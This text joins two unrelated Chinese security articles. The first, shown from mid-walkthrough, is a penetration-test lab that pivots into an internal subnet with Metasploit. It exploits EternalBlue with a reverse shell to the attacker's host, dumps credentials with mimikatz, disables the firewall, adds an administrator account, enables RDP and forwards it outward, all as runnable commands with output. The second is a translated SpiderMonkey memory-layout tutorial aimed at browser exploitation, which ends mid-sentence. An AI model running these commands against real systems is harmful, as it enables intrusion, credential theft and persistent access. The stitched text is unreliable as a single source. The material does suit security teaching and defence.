[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
meterpreter >
获取目标内网地址段：具体获取被攻击目标内网地址网段的命令如下所示：
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.9.0/255.255.255.0
meterpreter >
由上可以获知，目标内网网段是“192.168.9.0/24”
添加去往目标网段的转发路由：在meterpreter 会话上直接添加去往目标网段的路由，具体添加方法如下所示。
meterpreter > run autoroute -s 192.168.9.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.9.0/255.255.255.0...
[+] Added route to 192.168.9.0/255.255.255.0 via 192.33.6.200
[*] Use the -p option to list all active routes
meterpreter >
添加网路由后，我们来查看下路由的添加情况如何，具体命令如下所示：
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- ------- 192.168.9.0 255.255.255.0 Session 1
meterpreter >
从上面内容，我们可以看到添加的一条路由信息：
目标：192.168.9.0 掩码：255.255.255.0 下一跳网关：Session 1
这里的 Session 1，即当前被攻击目标主机与MSF平台建立的meterperter会话。
到这里，MSF平台就有了去往内网网段的路由，我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。
使用`arp_scanner`模块扫描探测内网存活主机
meterpreter > run arp_scanner -r 192.168.9.0/24
[*] ARP Scanning 192.168.9.0/24
[*] IP: 192.168.9.50 MAC 00:0c:29:23:57:f3
[*] IP: 192.168.9.101 MAC 00:0c:29:fb:6f:2e
[*] IP: 192.168.9.254 MAC 00:0c:29:8c:0f:e7
meterpreter >
发现存在内网主机除www服务器以外的另一台内网主机：192.168.9.101，下来对这台内网主机进行全面的信息收集
使用msf辅助模块对主机`192.168.9.101`进行端口扫描
msf5 auxiliary(server/socks5) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 auxiliary(scanner/portscan/tcp) > set ports 1-65535
ports => 1-65535
msf5 auxiliary(scanner/portscan/tcp) > set threads 100
threads => 100
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.9.101: - 192.168.9.101:135 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:139 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:445 - TCP OPEN
[*] 192.168.9.101: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/portscan/tcp) >
PS：注意这里不能直接使用Nmap进行信息收集，因为上文的msf路由只是作用于msf上下文，而不是整个主机上的应用。那么怎么样才能正常使用主机上的nmap呢，这里就需要在msf中利用辅助模块开启socks代理并设置proxychains。
知道了内网主机开启了445端口，那么使用永恒之蓝漏洞`ms17-010`对其进行探测是否存在相应漏洞
搜索相应模块: ms17-010
msf5 auxiliary(scanner/portscan/tcp) > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
msf5 auxiliary(scanner/portscan/tcp) >
使用该模块`ms17-010`进行探测：
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.9.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.9.101:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_ms17_010) >
探测到主机为`Windows 7 Enterprise 7601 Service Pack 1 x64
(64-bit)`并且存在永恒之蓝漏洞，使用ms17-010攻击模块对内网主机`192.168.9.101`进行攻击。
### 攻击内网
使用相应ms17-010攻击模块进行内网主机`192.168.9.101`的攻击
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 exploit(windows/smb/ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) >
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.33.6.150:8443
[*] 192.168.9.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.9.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.9.101:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.9.101:445 - Connecting to target for exploitation.
[+] 192.168.9.101:445 - Connection established for exploitation.
[+] 192.168.9.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.9.101:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.9.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
[*] 192.168.9.101:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic
[*] 192.168.9.101:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.9.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.9.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.9.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.9.101:445 - Starting non-paged pool grooming
[+] 192.168.9.101:445 - Sending SMBv2 buffers
[+] 192.168.9.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.9.101:445 - Sending final SMBv2 buffers.
[*] 192.168.9.101:445 - Sending last fragment of exploit packet!
[*] 192.168.9.101:445 - Receiving response from exploit packet
[+] 192.168.9.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.9.101:445 - Sending egg to corrupted connection.
[*] 192.168.9.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 192.33.6.200
[*] Meterpreter session 3 opened (192.33.6.150:8443 -> 192.33.6.200:63021) at 2020-06-21 15:01:11 -0400
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
可以看到永恒之蓝漏洞利用成功，查看系统权限、IP等信息
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:fb:6f:2e
MTU : 1500
IPv4 Address : 192.168.9.101
IPv4 Netmask : 255.255.255.0
meterpreter >
加载第三方模块`mimikatz`抓取系统账户信息：抓取到一组普通用户`root:root`
meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP WIN-5DTIE0M734E$
0;49298 NTLM
0;999 NTLM WORKGROUP WIN-5DTIE0M734E$
0;289498 NTLM WIN-5DTIE0M734E root root
0;289452 NTLM WIN-5DTIE0M734E root root
meterpreter >
关闭内网主机防火墙、添加管理员、开启3389
meterpreter > shell
Process 1188 created.
Channel 3 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:Windowssystem32>netsh advfirewall set allprofiles state off
netsh advfirewall set allprofiles state off
ȷ����
C:Windowssystem32>
C:Windowssystem32>net user qftm0 123 /add
net user qftm0 123 /add
�����ɹ����ɡ�
C:Windowssystem32>net localgroup administrators qftm0 /add
net localgroup administrators qftm0 /add
�����ɹ����ɡ�
C:Windowssystem32>
C:Windowssystem32>REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
�����ɹ����ɡ�
C:Windowssystem32>
使用meterpreter中端口映射工具portfwd将内网主机3389端口映射出去，使得外网主机可以远程控制内网主机
meterpreter > portfwd add -L 192.33.6.150 -l 7777 -p 3389 -r 192.168.9.101
[*] Local TCP relay created: 192.33.6.150:7777 <-> 192.168.9.101:3389
meterpreter > portfwd list
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ --------- 1 192.33.6.150:7777 192.168.9.101:3389 Forward
1 total active port forwards.
meterpreter >
PS：`-L表示外网主机IP、-r表示内网主机IP、-p、-l表示将内网3389端口转发到外网主机的7777端口`
上述工作做完之后，使用添加的管理员账户远程连接内网主机：`192.168.9.101:3389` —-> `192.33.6.150:7777`
到这里测试评估的工作已经基本做完了，最后查看一下msf中所有的会话session信息
msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITYNETWORK SERVICE @ SERVER 192.33.6.150:3333 -> 192.33.6.200:62901 (192.168.9.50)
3 meterpreter x64/windows NT AUTHORITYSYSTEM @ WIN-5DTIE0M734E 192.33.6.150:8443 -> 192.33.6.200:63021 (192.168.9.101)
msf5 >
## 修补建议
* www服务器部署WAF
* 边界路由做防火墙
* 部署IPS安全设备
* 内网服务器设置专属的DMZ区域，配置访问控制【DMZ不可以访问内网、但内网可以访问DMZ】
* 资产的管理
* 系统漏洞或软件漏洞及时更新或打补丁
## 总结
网络安全的本质就是攻防对抗。攻击者会不断寻找防护方的弱点，防护方也需要不断研究攻击者的思维，探索应对攻击者攻击的方法，提升安全防护的能力和效率。 | 社区文章 |
注：本篇文章是翻译文章，主要内容是讲解 SpiderMonkey
中的数据结构。链接：<https://vigneshsrao.github.io/play-with-spidermonkey/>
## 前言
在开始之前，我想说很多内容来自[参考文献](https://vigneshsrao.github.io/play-with-spidermonkey/#references "参考文献")，这篇文章或多或少是关于我摆弄那里提到的内容。
## 构建 SpiderMonkey
要调试 SpiderMonkey，您可能需要先构建一个js shell。 JS shell 基本上是一个 js 解释器。
可以在[此处](https://wiki.mozilla.org/JavaScript:New_to_SpiderMonkey#Get_the_code
"此处")找到构建说明。 我将其包括在内以供参考。
hg clone http://hg.mozilla.org/mozilla-central spidermonkey
cp configure.in configure && autoconf2.13
mkdir build_DBG.OBJ
cd build_DBG.OBJ
../configure --disable-debug --disable-optimize #
make ## or make -j8
cd dist/bin/
./js
PS：我第一次在 [brucechen](https://twitter.com/bruce30262
"brucechen")的[文章](https://bruce30262.github.io/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/ "文章")中看到了这个。
注意：我正在禁用调试选项，因为这将添加许多断点，将破坏我们的漏洞，一旦我们到达那个部分，但如果你只是在尝试调试 SpiderMonkey，那么你应该启用它。
## Representing Values
本节的大部分内容都基于[这篇 phrack 文章](http://www.phrack.org/issues/69/14.html "这篇 phrack
文章")。 作者非常清楚地解释了一切，绝对值得一读。
### JSValue
在JavaScript中，我们可以为变量赋值而不实际定义它们的“类型”。所以，我们可以这样做 a = "this is a string" or
a=1234" ，而不需要像 C 语言中一样指明 int a ， char a。那么 JS 如何跟踪变量的数据类型呢？
这里，所有“类型”的数据都表示为 JS:Value 的对象。JS:Value/jsval 通过在一个单元中编码“type”和“value”来标示各种类型。
在 jsval 中，前17位用于表示 jsval 类型的标记。低 47 位用于实际值。
让我们看一个例子。 运行js shell并创建一个create数组来保存不同类型的值。
js> a=[0x11223344, "STRING", 0x44332211, true]
[287454020, "STRING", 1144201745, true]
所以我们的数组就像 - [int，string，int，Boolean]。 现在让我们将附加gdb调试，并查看它们在内存中的形式。
gdb -p $(pidof js)
gdb-peda$ find 0x11223344 # Searching for the array - all elements will lie consecutively
Searching for '0x11223344' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x7f8e531980d0 --> 0xfff8800011223344
gdb-peda$ x/4xg 0x7f8e531980d0
0x7f8e531980d0: 0xfff8800011223344 0xfffb7f8e531ae6a0
0x7f8e531980e0: 0xfff8800044332211 0xfff9000000000001
所以 int 0x11223344 存储为 0xfff8800011223344 。 以下是 js / public / Value.h 中的相关代码。
enum JSValueType : uint8_t
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_BOOLEAN = 0x02,
JSVAL_TYPE_UNDEFINED = 0x03,
JSVAL_TYPE_NULL = 0x04,
JSVAL_TYPE_MAGIC = 0x05,
JSVAL_TYPE_STRING = 0x06,
JSVAL_TYPE_SYMBOL = 0x07,
JSVAL_TYPE_PRIVATE_GCTHING = 0x08,
JSVAL_TYPE_OBJECT = 0x0c,
/* These never appear in a jsval; they are only provided as an out-of-band value. */
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
};
----
JS_ENUM_HEADER(JSValueTag, uint32_t)
{
JSVAL_TAG_MAX_DOUBLE = 0x1FFF0,
JSVAL_TAG_INT32 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32,
JSVAL_TAG_UNDEFINED = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED,
JSVAL_TAG_NULL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL,
JSVAL_TAG_BOOLEAN = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN,
JSVAL_TAG_MAGIC = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC,
JSVAL_TAG_STRING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING,
JSVAL_TAG_SYMBOL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL,
JSVAL_TAG_PRIVATE_GCTHING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING,
JSVAL_TAG_OBJECT = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT
} JS_ENUM_FOOTER(JSValueTag);
----
enum JSValueShiftedTag : uint64_t
{
JSVAL_SHIFTED_TAG_MAX_DOUBLE = ((((uint64_t)JSVAL_TAG_MAX_DOUBLE) << JSVAL_TAG_SHIFT) | 0xFFFFFFFF),
JSVAL_SHIFTED_TAG_INT32 = (((uint64_t)JSVAL_TAG_INT32) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_UNDEFINED = (((uint64_t)JSVAL_TAG_UNDEFINED) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_NULL = (((uint64_t)JSVAL_TAG_NULL) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_BOOLEAN = (((uint64_t)JSVAL_TAG_BOOLEAN) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_MAGIC = (((uint64_t)JSVAL_TAG_MAGIC) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_STRING = (((uint64_t)JSVAL_TAG_STRING) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_SYMBOL = (((uint64_t)JSVAL_TAG_SYMBOL) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_PRIVATE_GCTHING = (((uint64_t)JSVAL_TAG_PRIVATE_GCTHING) << JSVAL_TAG_SHIFT),
JSVAL_SHIFTED_TAG_OBJECT = (((uint64_t)JSVAL_TAG_OBJECT) << JSVAL_TAG_SHIFT)
};
代码很容易理解
* 每个类型（Int，String，Boolean等）由枚举 JSValueType 中显示的数字表示
* 这与 JSVAL_TAG_MAX_DOUBLE 一致，如枚举 JSValueTag 中所示。 这个或那个值实际上是将在最终表示中使用的“标签”。
* 通过右移47位，将17位标记设为64位。
所以 int 的标签就是
**(1 | 0x1FFF0) « 47 = 0xfff8800000000000**
实际 int 的值与此标记一起使用，并在内存中存储为 “0xfff8800011223344” 。
## JSObject
上述，就是标记值。JavaScript 也有各种类型的“对象”，如数组。 对象倾向于具有“属性”。
obj = { p1: 0x11223344, p2: "STRING", p3: true, p4: [1.2,3.8]};
在上面的例子中，p1，p2，p3 和 p4 是对象 obj 的“属性”。 它们就像 python 词典。 每个属性都有一个映射到它的值。
这可以是任何类型，int，string，Boolean，object 等。这些对象在内存中表示为 JSObject 类的对象。
以下是 NativeObject 类的抽象，它继承了其他类中的 JSObject。
class NativeObject
{
js::GCPtrObjectGroup group_;
void* shapeOrExpando_;
js::HeapSlot *slots_;
js::HeapSlot *elements_;
};
让我们更详细地讨论这些。
### group_
我没有完全理解 group 成员的要求和使用，但我确实在 js / src / vm / JSObject.h 中遇到了以下注释。
* | group_ | member存储对象的组，其中包含其原型对象，其类及其属性的可能类型。
group 成员本质上是 ObjectGroup 类的成员，具有以下成员。
/* Class shared by objects in this group. */
const Class* clasp_; // set by constructor
/* Prototype shared by objects in this group. */
GCPtr<TaggedProto> proto_; // set by constructor
/* Realm shared by objects in this group. */
JS::Realm* realm_;; // set by constructor
/* Flags for this group. */
ObjectGroupFlags flags_; // set by constructor
// If non-null, holds additional information about this object, whose
// format is indicated by the object's addendum kind.
void* addendum_ = nullptr;
Property** propertySet = nullptr;
注释或多或少地解释了每个字段的使用，但是让我进入 clasp 成员，因为它提供了有趣的利用目标。
与注释说的一样，这定义了属于该组的所有对象共享的 JSClass，可用于标识该组。 我们来看看Class 结构。
struct MOZ_STATIC_CLASS Class
{
JS_CLASS_MEMBERS(js::ClassOps, FreeOp);
const ClassSpec* spec;
const ClassExtension* ext;
const ObjectOps* oOps;
:
:
}
除了 ClassOps 之外，我对其他所有属性都不太了解，但是我会在这里更新它。 ClassOps
基本上是一个指向结构的指针，该结构包含许多函数指针，这些函数指针定义对象的特定操作是如何发生的。 我们来看看这个 ClassOps 结构。
struct MOZ_STATIC_CLASS ClassOps
{
/* Function pointer members (may be null). */
JSAddPropertyOp addProperty;
JSDeletePropertyOp delProperty;
JSEnumerateOp enumerate;
JSNewEnumerateOp newEnumerate;
JSResolveOp resolve;
JSMayResolveOp mayResolve;
FinalizeOp finalize;
JSNative call;
JSHasInstanceOp hasInstance;
JSNative construct;
JSTraceOp trace;
};
例如，addProperty 字段中的函数指针定义了在调用新属性时要调用的函数。
在[这篇文章](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/ "这篇文章")中，很好地解释了这一切，特别是对于那些从 SpiderMonkey 开发的人而言，这是一篇非常好的文章。
回到这一点，这里有一个函数指针数组。 如果我们设法覆盖它们中的任何一个，就可以将任意写入转换为任意代码执行。
但这不是那么容易。 问题是这个包含函数指针的区域是一个 r-x 区域（没有写权限）。 但是，只要我们有任意写入，我们就可以轻松伪造整个 ClassOps
结构，并用指向伪结构的指针覆盖指向组字段中实际 ClassOps 的指针。
因此，只要我们有任意写入，我们就有了获取代码执行的方法。
### shape_ and slots_
那么 js 如何跟踪对象的属性呢？ 请考虑以下代码段。
obj = {}
obj.blahblah = 0x55667788
obj.strtest = "TESTSTRING"
obj是一个数组，但它也有一些属性。 现在我们必须跟踪属性名称及其值。 为此，它使用对象的shape_ 和 slots_ 字段。 slots_
字段是包含与每个属性关联的值的字段。 它基本上是一个只包含值（无名称）的数组。 shape_ 包含属性的名称以及 slots_ array
的索引，其中将显示此属性的值。
也许以下图片比我解释的更直观:)
好了，接下来让我们看看gdb调试下的内存情况。
gdb-peda$ x/4xg 0x7f7f01b90120
0x7f7f01b90120: 0x00007f7f01b8a310 0x00007f7f01bb18d0 ----> shape_
0x7f7f01b90130: 0x00007f7f01844ec0 0x000000000174a490
|
+----------------------------------> slots_
gdb-peda$ tel 0x00007f7f01bb18d0 4
0000| 0x7f7f01bb18d0 --> 0x7f7f01b8b0e0 --> 0x2a26380 (:PlainObject::class_>: 0x000000000162a4bf)
0008| 0x7f7f01bb18d8 --> 0x7f7f01bae6c0 --> 0x70000004a # Property Name
0016| 0x7f7f01bb18e0 --> 0xfffe000100000001 # Index in slots_ array is '1' (last 3 bytes)
0024| 0x7f7f01bb18e8 --> 0x7f7f01bb18a8 --> 0x7f7f01b8b0e0 --> 0x2a26380 (:PlainObject::class_>: 0x000000000162a4bf)
|
+-----> pointer to the next shape
# Looking at the property name.
gdb-peda$ x/2wx 0x7f7f01bae6c0
0x7f7f01bae6c0: 0x0000004a 0x00000007 # metadata of the string. 0x4a is flag I think and 7 is the length of string.
gdb-peda$ x/s
0x7f7f01bae6c8: "strtest" # The last property added, is at the head of the linked list.
# The next pointer
gdb-peda$ tel 0x7f7f01bb18a8 4
0000| 0x7f7f01bb18a8 --> 0x7f7f01b8b0e0 --> 0x2a26380 (:PlainObject::class_>: 0x000000000162a4bf)
0008| 0x7f7f01bb18b0 --> 0x7f7f01bae6a0 --> 0x80000004a
0016| 0x7f7f01bb18b8 --> 0xfffe000102000000
0024| 0x7f7f01bb18c0 --> 0x7f7f01b8cb78 --> 0x7f7f01b8b0e0 --> 0x2a26380 (:PlainObject::class_>: 0x000000000162a4bf)
# Name of the property
gdb-peda$ x/xg 0x7f7f01bae6a0
0x7f7f01bae6a0: 0x000000080000004a
gdb-peda$ x/s
0x7f7f01bae6a8: "blahblah"
# The slots_ array
gdb-peda$ x/xg 0x00007f7f01844ec0
0x7f7f01844ec0: 0xfff8800055667788 # index 0 which is value for the property "blahblah"
0x7f7f01844ec8: 0xfffb7f7f01bae6e0 # index 1 which is value for the property "strtest". This is a string object.
# Dereference index 1, which is a pointer to 0x7f7f01bae6e0
gdb-peda$ x/xg 0x7f7f01bae6e0
0x7f7f01bae6e0: 0x0000000a0000004a
gdb-peda$ x/s
0x7f7f01bae6e8: "TESTSTRING"
### elements_
在上一节中介绍的示例中，该对象只有一些属性。 如果它也有元素怎么办？ 让我们添加到上面的代码片段
obj[0]=0x11223344
obj[1]=0x33557711
元素将存储在 elements_ member 指向的数组中。 让我们看看修改后的图像
在 gdb 调试下。
# This time we have all previous pointers plus a pointer to the elements_ array
gdb-peda$ x/4xg 0x7f7f01b90120
0x7f7f01b90120: 0x00007f7f01b8a310 0x00007f7f01bb18d0
0x7f7f01b90130: 0x00007f7f01844ec0 0x00007f7f01844f90 ---> elements_
# The array -
gdb-peda$ x/xg 0x00007f7f01844f90
0x7f7f01844f90: 0xfff8800011223344 # index 0
0x7f7f01844f98: 0xfff8800033557711 # index 0
现在我们看到我们可以向对象添加任意数量的元素。 所以 elements array 有一个 metadata 成员来跟踪这些元素（这实际上是显式地转换为
ObjectElements 。更详细的信息在 js / src / vm / NativeObject.h ）。 以下是构成 metadata ：
uint32_t flags;
/*
* Number of initialized elements. This is <= the capacity, and for arrays
* is <= the length. Memory for elements above the initialized length is
* uninitialized, but values between the initialized length and the proper
* length are conceptually holes.
*/
uint32_t initializedLength;
/* Number of allocated slots. */
uint32_t capacity;
/* 'length' property of array objects, unused for other objects. */
uint32_t length;
上面的代码来自 NativeObject.h 中 ObjectElements 的定义。 注释应该说的比较清楚了。 让我们向 obj 对象添加更多元素。
obj[2]="asdfasdf"
obj[3]=6.022
在 gdb 调试下的情况。
gdb-peda$ x/4xg 0x7f7f01b90120
0x7f7f01b90120: 0x00007f7f01b8a310 0x00007f7f01bb18d0
0x7f7f01b90130: 0x00007f7f01844ec0 0x00007f7f01844f90
# size of the metadata is 0x10 bytes
gdb-peda$ x/4wx 0x00007f7f01844f90-0x10
Flags init_len capacity length
0x7f7f01844f80: 0x00000000 0x00000004 0x00000006 0x00000000
gdb-peda$ x/4xg
0x7f7f01844f90: 0xfff8800011223344 0xfff8800033557711
0x7f7f01844fa0: 0xfffb7f7f01bae720 0x401816872b020c4a
## Typed Arrays
译者注：这个标题有点不好解释，可以这样理解。把 ArrayBuffer 初始化为 Uint32Array ， Uint8Array
等其他类似的数组对象。这些数组对象就是 Typed Arrays。
MDN 上的解释
* ArrayBuffer 是一种数据类型，用于表示通用的固定长度二进制数据缓冲区。 你不能直接操纵 ArrayBuffer 的内容; 相反，可以创建一个类型化的数组视图或一个表示特定格式的缓冲区的 DataView，并使用它来读取和写入缓冲区的内容。
NativeObject 的所有属性都由 ArrayBufferObject 继承。 另外， ArrayBufferObject 具有以下内容
* Pointer to data：以 “private” 形式指向 ArrayBuffer 的数据缓冲区的数据指针。
* length：缓冲区的大小。
* First View：指向引用当前 ArrayBuffer 的第一个视图的指针。
* flags
以 Private 形式存在的指向数据缓冲区的指针，下面从 setPrivate 开始。
void setPrivate(void* ptr) {
MOZ_ASSERT((uintptr_t(ptr) & 1) == 0);
#if defined(JS_NUNBOX32)
s_.tag_ = JSValueTag(0);
s_.payload_.ptr_ = ptr;
#elif defined(JS_PUNBOX64)
asBits_ = uintptr_t(ptr) >> 1;
#endif
MOZ_ASSERT(isDouble());
}
简化一下就是：
void setPrivate(void* ptr) {
asBits_ = uintptr_t(ptr) >> 1;
}
注意，它被右移1.（我们将在gdb调试中检查出来）
现在让我们创建一个 ArrayBuffer 并将视图添加到此缓冲区。
arrbuf = new ArrayBuffer(0x100); // ArrayBuffer of size 0x100 bytes.
uint32view = new Uint32Array(arrbuf); // Adding a Uint32 view.
uint16view = new Uint16Array(arrbuf); // Adding another view - this time a Uint16 one.
uint32view[0]=0x11223344 // Initialize the buffer with a value.
uint32view[0].toString(16)
// Outputs "11223344"
/* Lets check the Uint16Array */
uint16view[0].toString(16)
// Outputs "3344"
uint16view[1].toString(16)
// Outputs "1122"
对同一缓冲区的不同视图允许我们以不同的方式查看缓冲区中的数据。
除 NativeObject 之外，类似 ArrayBuffer 的 TypedArray 还具有以下额外属性。
* Underlying ArrayBuffer：指向 ArrayBuffer 的指针，该 ArrayBuffer 保存此类型数组的数据
* length：数组的长度。 如果 ArrayBuffer 是有 0x20 字节的 Uint32Array 类型，则 length = 0x20 / 4 = 8
* offset
* pointer to data：这是指向原始形式的数据缓冲区的指针，用于增强性能。
让我们开始研究如何在内存中表示所有这些东西。
gdb-peda$ x/8xg 0x7f618109a080
0x7f618109a080: 0x00007f618108a8b0 (group_) 0x00007f61810b1a38 (shape_)
0x7f618109a090: 0x0000000000000000 (slots_) 0x000000000174a490 (elements_)
0x7f618109a0a0: 0x00003fb0c0d34b00 (data pointer) 0xfff8800000000100 (length)
0x7f618109a0b0: 0xfffe7f6183d003a0 (first view) 0xfff8800000000008 (flags)
# The data pointer
gdb-peda$ p/x 0x00003fb0c0d34b00 << 1
$2 = 0x7f6181a69600
# The buffer
gdb-peda$ x/2xg 0x7f6181a69600
0x7f6181a69600: 0x0000000011223344 0x0000000000000000
# The Uint32 Array
gdb-peda$ x/8xg 0x7f6183d003a0
0x7f6183d003a0: 0x00007f618108aa30 0x00007f61810b4a60
0x7f6183d003b0: 0x0000000000000000 0x000000000174a490
0x7f6183d003c0: 0xfffe7f618109a080 (ArrayBuffer) 0xfff8800000000040 (length)
0x7f6183d003d0: 0xfff8800000000000 (offset) 0x00007f6181a69600 (Pointer to data buffer)
# The Uint16 Array
gdb-peda$ x/8xg 0x7f6183d003e0
0x7f6183d003e0: 0x00007f618108aaf0 0x00007f61810b4ba0
0x7f6183d003f0: 0x0000000000000000 0x000000000174a490
0x7f6183d00400: 0xfffe7f618109a080 (ArrayBuffer) 0xfff8800000000080 (length)
0x7f6183d00410: 0xfff8800000000000 (offset) 0x00007f6181a69600 (Pointer to data buffer)
由于 TypedArrays 中的数据在保存的时候，没有 “nan-boxing”和C语言数据的类型( _译者注，比如C语言有Int，char..._
）情况，因此在写利用时这就很有用，能满足我们需要从任意位置读取和写入数据的操作。
(译者注：NaN-boxing
，其实是表示无效的double数，[具体解释点这里](https://www.cnblogs.com/qicosmos/p/4285409.html
